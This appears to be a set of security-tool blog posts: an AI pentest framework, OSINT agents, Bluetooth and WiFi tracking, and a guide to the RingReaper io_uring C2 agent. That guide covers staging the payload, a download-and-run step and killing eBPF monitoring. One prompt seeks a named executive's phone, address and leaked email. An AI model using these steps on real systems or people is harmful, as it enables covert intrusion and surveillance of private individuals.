With so many AI tools out there, it’s getting harder to find the ones actually worth your time. A lot of projects look alike and the differences between them can come down to minor UI tweaks. But it’s still worth digging, because every now and then you find something good.
One of the interesting projects we came across recently is Cybermes. It’s an offensive security assistant and automation framework built for bug bounty hunting, recon and reporting. It has more than 200 security playbooks and full Model Context Protocol (MCP) support. The most notable thing here is the reporting structure. The framework handles reporting really well, it has a scope.yaml file you can modify and the TUI interface looks clean.
We’ll show what the assistant can do and how well it handles the tasks.
Setting Up
Unlike PentestCode, there’s some work to do before you can start using the tool.
First, make sure you have Go installed on your Kali. The framework needs to compile tools and without Go your installation will be incomplete.
kali > sudo apt update
kali > sudo apt install go-lang
Then download the repository and run the setup script.
kali > git clone https://github.com/Zyrexnn/Cybermes.git
kali > cd Cybermes
kali > python3 -m venv venv; source venv/bin/activate
kali > chmod 777 setup.sh
kali > ./setup.sh
It’ll take a few minutes. When it’s done, run the doctor script to make sure everything is in order.
kali > python3 tools/doctor.py
After that, add your OpenRouter API key to two env files before you can start working with the tool.
kali > vim .env
kali > vim hermes/.env
Make sure you add the API key to both files, otherwise it won’t work.
kali > ./cybermes model
Finally, specify the scope in scope.yaml. We’ve got OWASP Juice Shop for the test, listening on port 3000.
Now we’re all set.
IDOR/BOLA – Terminal User Interface
The Terminal User Interface is clean and easy to work with, so we’ll start there. You might end up preferring it over the CLI version.
kali > TARGET=127_0_0_1_3000
kali > ./cybermes –tui
Our first prompt in TUI is hunting for IDOR using Nemotron 3.5 Lightning. As the model tests the target, you’ll see entries populating the screen with the commands the tool runs.
Fifteen minutes later we got our results and BOLA was confirmed.
Reporting is really the strongest side of this framework. It created a couple of files with reports and sorted them properly. As you keep hunting for bugs on the same target, all your findings get brought together in one file.
Findings are always stored in Markdown format and keep almost the same structure every time, which makes them look professional.
JWT & SQLi – Command-line Interface
Now let’s look at the CLI version and try to find more bugs.
kali > ./cybermes --cli
Our first prompt will be testing JWT:
Authorized lab only. Target http://127.0.0.1:3000/rest/user/login.
Audit authentication and JWT handling with non-destructive requests. Try the publicly documented Juice Shop demo accounts if needed (admin@juice-sh.op / admin123 and a normal user you register).
Check token claims, privilege flags, and whether a standard user can hit admin-ish REST routes.
Record only confirmed issues under reports/127_0_0_1_3000/findings/.
It took some time to reason through and test the app, then gave the results.
The same files were produced again, with PoCs and an explanation of each bug and the risks tied to it.
We also tested SQLi on search:
Authorized lab only. Audit http://127.0.0.1:3000/rest/products/search?q= for SQL injection using safe syntax and error/timing evidence. Do not dump the full database into the terminal. If confirmed, write reports/127_0_0_1_3000/findings/high_sqli_product_search.md and a minimal PoC in pocs/.
Here’s the report on our SQLi finding, looking just as good as the previous ones.
The tool passed all our tests against the Juice Shop and brought the findings together in the final report. The skills it ships with work well. You might want to go through them and add some of the ones we covered recently. We covered a repository with 83 skills and almost half of those were built by studying 681 real bug reports that people actually got paid for on HackerOne.
Summary
Cybermes has clear strengths. It’s good at reporting, it has a clean TUI and a big library of built in skills. The framework sets up quickly if you have Go installed on your Kali and it already knows which tools to work with based on those skills. That’s handy. We used OpenRouter for this test, but you can also point it at your local Ollama models. For that you’ll need a tool calling model (qwen2.5:14b). Chat only 3B models won’t cut it here.
We also invite you to join our AI for Cybersecurity training. During the training, we’ll show you different ways of using AI in cybersecurity, set up local models and solve labs. The field is evolving rapidly and the sooner you learn things, the greater the advantage you’ll have.
Some things just lie on the surface, while others take time to find. In OSINT, finding the right data often means digging deep. Before you reach a conclusion, there must be solid evidence to support it, and data acquisition is always the most time consuming part of this process. The success of your investigation depends on how well you can find information and connect the dots.
OpenPlanter can automate part of this process.
OpenPlanter
Essentially, OpenPlanter is a recursive language model investigation agent. It ingests different kinds of data, which can be corporate registries, campaign finance records, government contracts and more. It then resolves entities across them and surfaces connections through evidence-based analysis. You can also use it to build profiles of individuals based on publicly available information.
OpenPlanter has both a desktop GUI and a terminal interface. The second one is more convenient.
Setting Up
The setup process is quick. We just need to create a Python environment that will host the needed libraries.
kali > git clone https://github.com/ShinMegamiBoson/OpenPlanter.git
kali > cd OpenPlanter
kali > python3 -m venv venv; source venv/bin/activate
kali > pip install -e .
Once it’s done, we need to give it our API keys.
To make web searches, OpenPlanter needs the Exa API. Exa is cheap to use and gives free credits for new accounts, so you don’t have to pay upfront. OpenRouter API is also needed to run the tool. OpenRouter has free AI models, but there is a daily usage limit. Make an account there and get your free API key.
To configure keys, run this command and paste them:
kali > openplanter-agent --configure-keys
At this point, you can use the tool.
Using OpenPlanter with OpenRouter
The daily API usage limit is enough to run a couple of basic tests, like the one below.
OpenPlanter will use Exa API key to find information. Without Exa, it burns tokens faster and gives incomplete results.
Normally, the tool saves the results in a text file in the current directory, but it doesn’t always happen. Be careful and make sure you don’t lose anything.
Here is our first report.
To make things more interesting, we asked it to find a complete list of Tatneft executives. Tatneft is one of the largest oil and gas companies in Russia.
The report was well organized, but all this information is readily available on the internet, due to the size of the Russian company.
When it was asked to find more information on a specific person from the list above, it struggled to find much and ended up with some generic data and a wrong social media account. Well, maybe that person is hard to find, so we gave it a second chance and picked a unique name from the same list: Nail Ulfatovich Maganov.
kali > openplanter-agent --task "Find as much information as you can on Nail Ulfatovich Maganov who works at Tatneft. If possible, find his Vkontakte, phone number, address, email and check if his email has been in data leaks. Save the results in a text file" --provider openrouter --model openrouter/free
The results can be seen below. OpenPlanter did find his LinkedIn account and extracted information from various places.
It also found OpenSanctions records associated with Nail Maganov.
But he is a well known figure in Russia. What about regular employees at a large Russian company? We will use Sibur for this example. Founded in 1995, it’s Russia’s largest petrochemical company.
We tried two individuals. During the first attempt, the tool didn’t find the correct person. After the second attempt with a different employee, it gave the results.
It found Svetlana’s position (Head of HR). This information was in her LinkedIn account. The rest of the information deserves further validation. Keep in mind, Russia has undergone a massive data blackout, systematically dismantling its open data and public statistics infrastructure. No wonder it’s hard to find things there.
Using OpenPlanter with Ollama – Locally
OpenPlanter’s own docs push toward frontier models (GPT-5.2, Claude Opus 4.6, Cerebras Qwen3-235B), because the whole process is quite demanding. Small local models will be noticeably weaker. But we still gave it a try. The first model was Qwen3:0.6B and its first attempt didn’t produce any results. After the second attempt, it found recent vulnerabilities that Windows had.
We also tried it with Qwen3:4b, but it produced absolutely irrelevant data in its response.
We didn’t stop here and tried it again. The results were still irrelevant. Instead of making a report on Mikhail Karisalov (CEO of Sibur) it spoke about something else.
Using OpenPlanter with Ollama – Remote Servers
If you decide to rent a server with good hardware to test other models, don’t waste your time on it. We tried various models, but none of them worked well. OpenPlanter calls a model, the model replies and then it fails. The output can be seen on the screen.
Here is an example with Qwen3.6:27b. Qwen3.6:35b had the same issue.
We also tried Ornith:35B.
These models support thinking and tooling, but they can’t really do much in this case.
Terminal Interface
It’s also important to mention that there are two ways you can use OpenPlanter in the terminal. So far, you’ve seen only one. If you’re more comfortable with a chat interface, you can use the second option.
kali > openplanter-agent --provider openrouter --model openrouter/free
Here you run your prompts and tweak the tool using the available commands.
Summary
After testing the tool in various ways, we came to the conclusion that it works reliably only with OpenRouter. That’s what gave us the best results. The developers also push towards frontier models or OpenRouter. The whole process of investigation relies heavily on the Exa API. Using it with Ollama models hosted externally (VPS) will not work, as it fails silently even if you select a supported AI model.
The tool might confuse people, especially if their names are common and their social media profiles are empty. Everything it finds deserves validation. Occasionally, it may check the results, marking them HIGH, MEDIUM or LOW depending on its confidence. It doesn’t always do it, but this can be fixed if the prompt explicitly asks for it. Most importantly, OpenPlanter can still save you time.
Learn more with our AI for Cybersecurity training. During the training, we’ll show you different ways of using AI in cybersecurity, set up local models and solve tasks with it.
Bluetooth is often seen as something short range and therefore harmless. Many people think that because it only works over a limited distance, it must also be secure by design. But that’s not true. Bluetooth is convenient, but convenience often comes at the cost of security and privacy. A big number of vulnerabilities show that Bluetooth devices can expose much more information than many realize. At a technical level, they constantly announce their presence to the surrounding environment. Even when you are not actively using them, they still send small pieces of data. Over time these pieces form patterns that show detailed information about people’s lives.
Hackers can take control of devices, pair with them without permission and even use them as remote listening tools. In other cases, simply listening is enough.
WhisperPair Vulnerability
In January 2026, researchers from KU Leuven disclosed a critical Bluetooth vulnerability known as WhisperPair (CVE-2025-36911). This vulnerability affects hundreds of millions of Bluetooth audio devices, including headphones and headsets that rely on modern pairing mechanisms. The attack takes advantage of a feature called Fast Pair in Android. Fast Pair was designed to simplify the user experience. With a single tap users can connect their Bluetooth accessories and synchronize them with their account. It’s convenient and widely adopted.
However, some devices don’t properly ignore pairing requests when they aren’t in pairing mode. A hacker can exploit this by sending crafted pairing initiation packets to a vulnerable device. Even if the device isn’t actively trying to connect, it may still respond. Once the hacker receives that response, they can establish a normal Bluetooth connection.
Source: WhisperPair
From that point on, the hacker gains control over the accessory.
Source: WhisperPair
Then they can activate the microphone to record conversations. The attack works from up to 14 meters away, which is plenty for offices, cafes or public transport.
Source: WhisperPair
This can be combined with device tracking. Some Bluetooth accessories integrate with Google’s Find Hub network, which allows lost devices to be located using nearby Android devices. If a vulnerable accessory has never been paired with an Android device before, a hacker can register it under their own Google account. In doing so, they become the “owner” of the device in the tracking system.
An attacker tracks the victim’s location through the Find Hub network. Source: WhisperPair
The victim may eventually receive a notification about unwanted tracking, but the alert can appear misleading. If the user’s own device is responsible for tracking, that will cause confusion and reduce the likelihood that the threat is taken seriously. Meanwhile, the hacker continues to track the device over time. It affects multiple vendors, chipsets and product lines. As a result, exploitation is likely to continue well beyond 2026.
Bluehood Scanner
Sometimes, attacks are completely passive. In February 2026, a developer released a Bluetooth scanner called Bluehood. It looks like a monitoring tool and shows how much information can be extracted from the environment without ever connecting to a device.
Bluetooth is almost always enabled. Phones, laptops, smartwatches, headphones, cars and even medical devices continuously broadcast signals. Bluehood listens to that data and builds patterns over time. By passively listening to this traffic over days or weeks, hackers can reconstruct behavior.
For example, you can find out when delivery vehicles arrive and whether the same driver appears regularly. You can see daily routines by tracking when certain devices appear and disappear. You can also correlate devices that are always seen together, such as a phone and a smartwatch, which likely belong to the same person. You can even determine approximate schedules when someone leaves for work or returns home.
You don’t need to buy hardware for that. In many cases, a laptop will do the job. If you want, you can get a Raspberry Pi with a Bluetooth adapter.
Some devices are designed to always keep Bluetooth active. Hearing aids, for instance, rely on Bluetooth Low Energy for configuration and diagnostics. Pacemakers may also broadcast BLE signals for similar reasons. These aren’t devices that users can simply turn off.
Many cars use Bluetooth for diagnostics, driver assistance and connectivity features. Consumer devices add even more noise to the environment. Smartwatches, pet trackers and fitness equipment all give off signals. Together, they create a dense network of signals that can be analyzed.
Bluehood works only in passive mode. It doesn’t try to connect to devices. It identifies them based on manufacturer data and BLE service UUIDs, then tracks when they appear and disappear. The tool also includes a web dashboard. It generates hourly and daily heatmaps, tracks dwell time and has filters. New devices often use randomized MAC addresses for privacy and Bluehood can detect and filter these.
Installation
You can install the tool quickly using Docker.
kali > git clone https://github.com/dannymcc/bluehood.git
kali > cd bluehood
kali > docker compose up -d
Alternatively, you can install it using package managers and Python tools.
kali > sudo apt install bluez python3-pip
kali > pip install -e .
kali > sudo bluehood
After the installation you can start the scanner.
# Start with web dashboard (default port 8080)
kali > bluehood
# Specify a different port
kali > bluehood --port 9000
# Use a specific Bluetooth adapter
kali > bluehood --adapter hci1
# List available adapters
kali > bluehood --list-adapters
# Disable web dashboard (scanning only)
kali > bluehood --no-web
Keep in mind that if you installed the app with Docker Compose, it should be accessible at http://localhost:8080.
Collected data is stored in SQLite, and the tool can optionally send notifications through ntfy.sh when devices arrive or leave a location.
Summary
Bluetooth security is often underestimated because the technology feels invisible and low risk. That’s not the case though. There are active and passive techniques that can be used for tracking. Big cities often have listeners scattered around public places and stations, working like Bluehood. Active techniques like WhisperPair can lead to full device compromise with tracking and audio surveillance.
If you enjoy experimenting with frequencies and trying new things, we have our SDR for Hackers training. With Master OTW, you’ll learn how to use your computer and inexpensive SDR hardware to explore and hack a wide range of radio signals.
Finding an EDR on a Linux machine is common when working with organizations that take cybersecurity seriously. While many associate EDR platforms with Windows, modern Linux deployments are often monitored as well. Evading an EDR is almost an art form. It requires a deep understanding of operating systems, system internals, and how security products actually collect telemetry. Most EDR products are designed around visibility. They monitor processes, file access, network connections, privilege escalation attempts, and many other activities that could indicate bad behavior. A simple example might be accessing sensitive files, attempting to connect to suspicious external infrastructure, or spawning unusual child processes. These actions generate events that security products can inspect and correlate.
Over the years, researchers have demonstrated many different methods for bypassing or reducing EDR visibility. Some techniques abuse trusted binaries. Others use kernel vulnerabilities or weaknesses in monitoring logic. Today, however, we are going to look at a different approach involving a Linux feature called io_uring. Using this technique, it becomes possible to perform reconnaissance, transfer files, establish C2 communications, and execute commands while generating significantly fewer events.
The technique we will discuss today was developed by MatheuZSecurity.
Bypassing EDR
Introduced in Linux kernel 5.1, io_uring was designed to improve the performance of I/O operations. Instead of repeatedly interacting with the kernel through traditional system calls, applications can place requests into a shared queue. The kernel processes those requests and returns the results. Applications can submit many operations at once rather than making separate calls for every read, write, file access, or network action. This becomes interesting from a security perspective because many EDR products monitor these activities. These events are often collected through hooks, audit frameworks or eBPF.
With io_uring, many operations can be submitted and handled through a different execution model. Instead of repeatedly calling functions, requests are processed through io_uring, generating fewer observable events.
This does not make activity invisible, it just reduces the visibility of EDR. But modern security products are trying to improve their ability to monitor io_uring now. However, because it can reduce traditional syscall visibility, it has become an area of growing interest for hackers.
Setting Up
To test the concept ourselves, we first need to set up the environment. Let’s download the project and install the required dependency.
kali > git clone https://github.com/MatheuZSecurity/RingReaper
kali > cd RingReaper
kali > sudo apt install liburing-dev -y
By default, Kali Linux does not include the required development library, so we need to install it before compiling the project.
After that, open the agent.c file and update the IP address to point to your Kali machine. This is the address the agent will connect back to once it is executed on the target system. That is the only modification required.
Once the IP address has been updated, compile the project and upload it to a temporary hosting service.
kali > gcc agent.c -o agent -luring -O2 -s -static
kali > curl -F "file=@agent" https://temp.sh/upload
After the upload completes, you will receive a URL that can be used to download the binary.
Connecting to C2
First we need to start our server.py on Kali.
kali > python3 server.py --ip 192.168.131.7 --port 443
With the binary uploaded, we can move to the target machine. Replace the URL in the following command with the link generated during the upload process and execute it.
The command downloads the executable, stores it locally, adjusts permissions, and launches it. If everything works correctly, the connection should appear immediately.
When operating inside a monitored environment, less activity usually means less risk. The less noise you generate, the less likely you are to attract attention.
Running Commands
Now we arrive at the interesting part. Once connected, start by running the help command to display the available functionality.
The command set is intentionally small, but it covers most of the tasks that you would typically need. For example, running the users command shows active sessions.
If necessary, individual sessions can be terminated using the kick command. The privesc command searches for SUID binaries that may be useful for privilege escalation.
You can upload files to the target or retrieve files from the target machine. A common example would be reading .bash_history to see previously executed commands by local users.
Finally, the most interesting command is killbpf.
Many security tools including Falco, Sysdig, Elastic Defend, Tetragon, and many other monitoring platforms rely on eBPF to achieve deep kernel visibility. eBPF allows security products to observe process activity, system calls, network events, and many other behaviors without requiring traditional kernel modules.
The killbpf command attempts to disrupt this. It removes content from /sys/fs/bpf, which is the virtual filesystem commonly used to store pinned eBPF programs and maps. These maps act as shared data structures that allow eBPF programs and user-space applications to exchange information. When those components are removed or disrupted, security tools may lose visibility into system activity. In addition, the command attempts to identify and terminate processes actively interacting with eBPF maps. Disrupting them can interfere with security monitoring.
Below you can see the tool working alongside TrendMicro.
Source: MatheuZSecurity
Summary
This agent shows how a legitimate Linux feature can be repurposed in unexpected ways. io_uring was created to improve performance and efficiency. Its purpose was never to bypass security products. However, as we have seen many times throughout cybersecurity history, legitimate technologies often become useful tools for hackers as well.
If you want to take your Linux knowledge to the next level, we offer Advanced Linux for Hackers training designed for both red and blue teams. The course will help you develop the advanced Linux skills needed for penetration testing, incident response, digital forensics, and other security tasks. Since many offensive and defensive techniques rely on a solid understanding of the operating system, these skills will let you troubleshoot complex environments.
Take a second and think about how many devices are actually working around you right now. Cameras on street corners, routers sitting inside nearby homes, Bluetooth earbuds in someone’s pocket, cell towers just outside of view. All of that is happening constantly, yet almost none of it is visible to the average person walking by. If you actually wanted to check what devices were nearby today, you would probably end up jumping from one app to another, waiting for each one to load, and still walking away without the full picture. It is slow, it is frustrating, and honestly, it takes all the fun out of exploring what is really going on around you.
A lot of these devices are not just sitting there minding their own business. Many of them are built specifically to track you. A recent video on X showed this. It captured a flock camera taking several pictures of a moving vehicle, running those pictures through some kind of analysis, and then filing everything away in an indexed format.
In the screenshot above, you can see the guy picking up the signal coming straight off the camera, while the camera itself keeps emitting a steady beam of infrared. Here is the full video.
Privacy is not a crime, and you have every right to know what might be watching you. The real challenge has always been figuring out where all of these surveillance devices are hiding. That’s where WireTapper can help us. It pulls data from Wigle, Shodan, and OpenCelliD one at a time. That way, you can see every one of these devices in your area.
WireTapper
WireTapper is a wireless OSINT tool designed to discover, map, and analyze radio based devices using passive signal intelligence. WireTapper detects and correlates signals coming from all the common wireless technologies you would expect to run into. This helps you understand what devices actually exist nearby and where they are likely located all without ever having to actively intrude on anything.
WireTapper can identify leaked Wi-Fi network credentials, and it does this through a privacy-protecting k-Anonymity query scheme, meaning it can check for exposed passwords without ever exposing your own search to the outside world.
Setting Up
Let’s quickly walk through the installation process. It’s a lot simpler than it looks.
kali > git clone https://github.com/h9zdev/WireTapper.git
kali > cd WireTapper
kali > python3 -m venv venv; source venv/bin/activate
kali > pip3 install -r WireTapper.txt
Once that finishes, you will need to grab API keys from each of the services mentioned above. Do not worry too much about Shodan, since its API is paid and WireTapper will still run fine without it. There are two ways to plug these keys into the app. You can either open app.py and enter them directly, or you can use app-env.py instead, which pulls the keys in through environment variables.
After you have picked your method, we recommend also installing python-dotenv, since it makes handling those environment variables a lot smoother.
kali > pip3 install python-dotenv
Working with WireTapper
Once everything is installed, you are ready to start the app and open the web interface.
kali > python3 app.py
The web interface will be waiting for you right here: http://localhost:8080/map-w
This is the dashboard you will land on the moment you open the page. It takes a little while to load everything, so give it a few minutes before you start clicking around. Once it settles in, you can zoom into whatever area you are curious about and start picking apart what is actually hiding there.
Just keep in mind that you need valid API keys for the app to work the way it is meant to. Without them, WireTapper will simply generate dummy data so you can still see how everything normally looks inside it. On Wigle specifically, your email needs to be verified before the connection will work properly.
At the top of the dashboard, you will notice a switch that lets you jump between Wi-Fi uplink and Bluetooth scanners. That is how you filter what you are looking at.
Flip the switch back the other way, and you get the same kind of view but for Wi-Fi devices instead. This side usually includes things like cameras, routers, and other similar devices.
Exporting Results
All of these results can be exported complete with their names and coordinates, in case you decide to use them somewhere else later on.
The example above is just a taste of how those exported results are going to look. You can use this JSON file with other tools.
Summary
There is far more happening around us than most people realize. WireTapper makes it easier to visualize that activity by bringing together information about nearby wireless infrastructure in one interface. If you’re into OSINT, privacy, or wireless security, it’s a handy tool.
OSINT is a valuable skill in many areas, especially when it comes to privacy, cybersecurity, and cyber warfare. The more you understand what information is publicly exposed, the better you can protect yourself and your digital assets. Our Ultimate OSINT Beginner training covers OPSEC, tracking, investigations, and much more across 23 lessons and 7.5 hours of video content.
We’re also hosting a live Remaining Anonymous training on August 11-13 at 3:00 PM UTC for all Subscriber and Subscriber Pro students.
Lately, we’ve covered several tools you can use with your laptop to track nearby devices and people. While they’re useful, their effectiveness depends on the strength of your Bluetooth adapter, and, of course, you need to have your laptop with you.
This time, we’re doing things differently. We want to show you a device that can automatically monitor nearby devices for extended periods, anywhere you choose to place it, and as often as you want. It doesn’t rely solely on Bluetooth, as it also uses Wi-Fi, which is far more likely to be enabled, increasing the chances of detecting someone in your area.
What is Paxcounter
Paxcounter is an open-source firmware project that takes a cheap little ESP32 development board and turns it into a sensor that can count people. Almost every smartphone in the world is constantly sending out small Wi-Fi signals, called probe requests, and Bluetooth signals too, even when the phone is not connected to anything. Paxcounter listens for these signals in the air. It counts how many different devices it hears during each scan, and from that, it can tell you a real time estimate of how many people are nearby.
The project started out as a simple way to measure how many passengers or pedestrians pass through a certain spot. But over time, it grew into something much bigger. Now it works as a general purpose IoT platform, built on hardware that usually costs somewhere between $10 and $30. Besides its main job of counting Wi-Fi and Bluetooth devices, a Paxcounter can also read environmental sensors, track its GPS position, keep accurate time, and send all of that data out through LoRaWAN, MQTT, a local serial connection, or straight onto an SD card.
How the Counting Works
The way Paxcounter counts people is simple, but it was clearly built with privacy in mind from the very start. Every scan cycle, which lasts 60 seconds by default, the device switches its Wi-Fi and Bluetooth radios into scanning mode and listens for probe requests and advertisement packets coming from nearby devices. Each of these packets carries a MAC address. Paxcounter takes just the last two bytes of that address and turns them into a short, temporary ID. This ID is only used to check for duplicates during that one scan cycle. Once the cycle ends, the count of unique IDs gets sent out, and the whole list is wiped from memory. The firmware also does not try to fingerprint any device. It never tries to figure out a phone’s brand, its operating system, or who owns it. All it wants to know is whether that device has already been counted in the current window.
This scan and clear cycle just keeps repeating, either nonstop or on a schedule if deep sleep power saving is turned on. The results, which include the Wi-Fi count, the Bluetooth count, and sometimes live sensor readings too, get packed into a small payload and sent out through whatever channel the device is set up to use. One thing worth knowing is that Wi-Fi and Bluetooth scanning actually share the same 2.4 GHz radio hardware on the ESP32. So running both scans at the same time slightly lowers the accuracy of each one. Because of that, the project’s own advice is to split Wi-Fi only counting and Bluetooth only counting across two separate devices whenever the best possible accuracy is needed for both.
One Firmware, Many Boards
Paxcounter comes with a hardware abstraction layer and its own pin mapping files for dozens of ESP32 and ESP32-S3 boards. These come from well known manufacturers like LILYGO and TTGO, Heltec, Pycom, WeMos, M5Stack, and Adafruit, and there is also a generic template ready for boards that are not officially supported yet. LILYGO even sells a ready-made board called Paxcounter LoRa, built specifically to run this firmware.
Depending on which board you pick, your device can end up supporting a LoRaWAN radio for sending data over long distances while using very little power, an OLED status screen, or a single color, RGB, or larger LED matrix light to show status. It can also support a physical button for flipping through display pages or sending an alarm message, battery voltage monitoring, GPS positioning, a real time clock chip along with IF482 or DCF77 time telegram output, and even an SD card slot for logging data locally when there is no network around.
Because the whole system was designed to be truly portable, the documentation goes into real detail about power draw, which usually sits somewhere between 450 and 1000 milliwatts depending on how the device is set up. It also makes good use of the ESP32’s deep sleep mode, so a device can keep running for a long stretch of time on just one 18650 lithium ion battery cell. Members of the community have already shared several 3D printable enclosure designs on Thingiverse for the more popular boards.
Getting the Device Up and Running
Paxcounter is built using PlatformIO instead of the plain Arduino IDE. This choice lets it work smoothly with editors like Visual Studio Code, Atom, or Eclipse, and it gives the project reproducible, script driven builds. In fact, the repository runs an automated PlatformIO build check every single time the code changes, using GitHub Actions, and there is even a CodeFactor badge that keeps an eye on ongoing code quality.
The configuration is intentionally spread across a handful of different files instead of being crammed into just one. This keeps board specific settings, behavioral settings, and personal settings nicely separated from each other. The platformio.ini file is where you select which board’s hardware profile you want to compile against. The paxcounter.conf file handles behavioral settings, things like how long a scan cycle lasts, sleep timing, and payload options. The shared lmic_config.h file sets the LoRaWAN region and frequency plan, so it matches the rules where you live. The shared loraconf.h file holds the device’s LoRaWAN join credentials, and the project recommends using OTAA rather than ABP for this. And the shared ota.conf file stores the Wi-Fi credentials the device uses for over the air firmware updates.
You can upload firmware the traditional way, over USB, or once a device has joined a LoRaWAN network, you can push updates over the air instead. A remote command tells the board to connect to Wi-Fi, check a hosted repository called PAX.express for a newer build, and then download and flash it automatically. If anything goes wrong during that process, it will roll back to the previous version on its own. Devices can also be set up to open a small local web based bootstrap menu right when they power on, which lets you upload a firmware file manually, even from a phone in tethering mode, without needing PlatformIO installed on site.
Configuration and Extensibility
Beyond just picking a board, Paxcounter gives you a long list of settings you can tune to fit your needs. It can log environmental data from sensors like the Bosch BMP180, BME280, BMP280, or BME680, read a Nova SDS011 particulate matter sensor to track dust in the air, and keep accurate time using either a DS3231 real time clock or a connected GPS module.
Display and LED
On boards that come with an OLED display, Paxcounter shows live status information you can cycle through with a short press of the button. This includes the current pax count, meaning the people count, a histogram of recent activity, GPS status, environmental sensor readings, and the time of day.
A long press of that same button sends an alarm message out over the network instead, which is a simple way to flag a problem from out in the field without needing any other kind of interface. Even on boards that do not have a display at all, a status LED still tells you what the device is doing through its blink pattern. You get a brief flash whenever a new Wi-Fi or Bluetooth device is spotted, a quick blink while the device is joining the LoRaWAN network, a short blink during data transmission, and a slow, long blink if there is a LoRaWAN stack error. Boards that have an RGB LED get a color coded version of these same signals.
How You Receive the Data
Once a Paxcounter has counted the people nearby and packed everything into a message, that data has to go somewhere so you can actually see it. How that happens depends on which output the device is using, and the good news is you can turn on more than one at the same time. If you are using LoRaWAN, which is the most common setup, the device does not send the data straight to you. Instead, a nearby LoRaWAN gateway picks up the signal first and forwards it on to a network server, usually The Things Stack. There is a small decoder script included with the project, and its job is to take that raw message and turn it into numbers you can actually read, something like a pax count of 14. From there, The Things Stack can pass the data along to your own app or dashboard using MQTT or a webhook, or you can simply watch it come in live through the built in console.
If a board does not have LoRa hardware built in, it can just skip the gateway completely and send that same kind of data straight to an MQTT service over Wi-Fi instead. You can also connect the device to a computer using a USB cable and read the numbers directly from a serial connection. This is a simple way to test things out without needing to set up a network at all. If SD card logging is turned on, everything also gets saved locally as a CSV file, so you can pull the card out later and open it up in a spreadsheet. This comes in handy in places where there is no network coverage to rely on.
Where It’s Used
Because a single Paxcounter device is cheap to build and can be left running unattended for a long time, you will find it popping up in a pretty wide range of places. Retailers and shopping centers use it to measure foot traffic without needing to install cameras. Event organizers use it to watch how crowds move around a venue in real time. Pentesters can get a passive read on how many Wi-Fi and Bluetooth devices are active in a building, or to notice unexpected devices showing up where they shouldn’t, all without needing camera access or network credentials.
Legal and Privacy Considerations
Since Paxcounter’s whole job involves listening to wireless traffic, its documentation is unusually upfront about the legal side of things. It points out that sniffing Wi-Fi and Bluetooth MAC addresses may be regulated or restricted depending on where you live, and it links to specific starting references for the US, the UK, the Netherlands and the EU, and Germany. It also makes clear that the legal responsibility for how a device is built and deployed falls on the person doing it, especially for public deployments where the results might get published somewhere. On the technical side of privacy, the project’s own design actually holds up pretty well against that legal backdrop. Identifiers are only ever built from the last two bytes of a scanned MAC address, they are kept in memory just for the length of one scan cycle, and then they are discarded completely. No MAC addresses or identifiers are ever sent out over the network, and the firmware does not do any extra tracking or fingerprinting of the devices it scans.
Summary
What really makes Paxcounter stand out is not any single feature on its own. It is the whole combination working together. One piece of open source firmware supports dozens of cheap boards, runs for a long time on a small battery, counts people without saving anything identifying about them, doubles as a general environmental sensor node, speaks LoRaWAN, MQTT, serial, and SD card all at once, and can be fully reconfigured from a distance once it is out in the field. The full source code, the complete board list, and all the documentation are available on GitHub.
If you enjoy experimenting with frequencies and trying new things, we recommend signing up for our SDR for Hackers training. With Master OTW, you’ll learn how to use your computer and inexpensive SDR hardware to explore and hack a wide range of radio signals.
The density of WiFi access points in modern cities has now reached a point where a large-scale surveillance system may be able to identify almost anyone who walks near a router, even if that person is not carrying a mobile phone. Researchers from the Karlsruhe Institute of Technology (KIT) have published a scientific paper describing this kind of system and the technology that makes it possible.
At the center of this surveillance method is a feature called beamforming, which first appeared with the WiFi 5 (802.11ac) standard in 2013–2014. The basic idea was introduced with WiFi 5, but it became much more refined and effective with WiFi 6 (802.11ax), where the technology matured into something more practical.
Beamforming
Beamforming, also called spatial filtering, is a signal processing technique used to send and receive wireless signals in specific directions rather than spreading them evenly in every direction. In simple marketing language, this is often described as a router that “does not broadcast equally everywhere anymore, but instead follows the user with a focused beam.” That description is not wrong, but it leaves out the technical depth behind the idea.
Beamforming
From an engineering point of view, beamforming works by combining several antennas into a group called an array. When the signals from these antennas are timed and lined up correctly, they boost each other in certain directions. In other directions, they cancel each other out. The result is a signal that is far more focused and efficient than older systems, which simply broadcast outward in every direction at once.
Beamforming gives both senders and receivers the ability to focus on signals coming from one direction while blocking out noise from others. Because of that, the technique is used not only in WiFi, but also in radar, sonar, seismology, wireless communications, radio astronomy, acoustics, and biomedical engineering.
Identifying People Through WiFi Signals
As radio waves move through space, they do not simply travel in a straight, clean line. They interact with the world around them in many different ways. They can pass through objects, reflect off surfaces, become absorbed, become polarized, bend around obstacles, scatter in different directions, or refract as they cross boundaries between materials. This means that when a WiFi system sends a signal and later receives it back, the final result contains information about everything the signal encountered along the way. By comparing the expected signal with the received one, it becomes possible to measure interference and use that information to correct transmission errors. But that same interference also reveals details about the environment itself.
For example, when a person enters the path of a WiFi signal, the signal changes. Human bodies affect radio waves in measurable ways. The signal may weaken, shift, scatter, or behave differently depending on movement, posture, and position. If researchers analyze these changes carefully, they can infer a surprising amount of information about the surrounding environment. They may detect whether people are present, what they are doing, and in some cases even who they are.
This whole research area has grown into a separate field known as WiFi Sensing.
Most WiFi Sensing research is presented as useful and harmless, and in many cases it really is. It can support smart-home features, occupancy detection and other practical applications. But the privacy concerns are obvious. When these methods are combined with activity recognition and the massive spread of WiFi hotspots, they can reveal highly sensitive information. One of the most troubling possibilities is that someone could be identified in the range of a hotspot and then tracked over time without ever knowing it.
Using Channel Information for Identification
There are several ways a person can be identified through WiFi. One important method relies on analysis of Channel State Information (CSI), which is sent at the physical layer of WiFi communication. CSI is detailed and useful for WiFi sensing. It gives a rich picture of how the wireless channel behaves. The problem is that CSI is not always easy to access. In many cases, it requires modified firmware and specialized hardware support, which limits how widely it can be used in practice.
Comparison of CSI-based identity recognition methods
The table above compares roughly 25 different systems, evaluating them across several key dimensions. The Paper column lists the name of each system, while the Identities column shows how many different people each system is capable of distinguishing between. The Accuracy column then reflects how reliably each system correctly identifies a person. On the technical side, the Pre-Processing column describes the signal processing techniques each system applies to clean and transform raw WiFi data before passing it to a machine learning model, and the Model Architecture column identifies what type of model is used. The Perspective column shows how subjects were positioned or moving during data collection, such as standing orthogonally, performing gestures, or typing keystrokes.
Beamforming entered the picture for a different reason. As mentioned earlier, it was introduced in WiFi 5 to improve throughput and make wireless communication more efficient. But beamforming also depends on environmental information that is similar to CSI. The difference is that this information is gathered on the transmitter side rather than the receiver side.
Comparison of BFI-based WiFi sensing methods
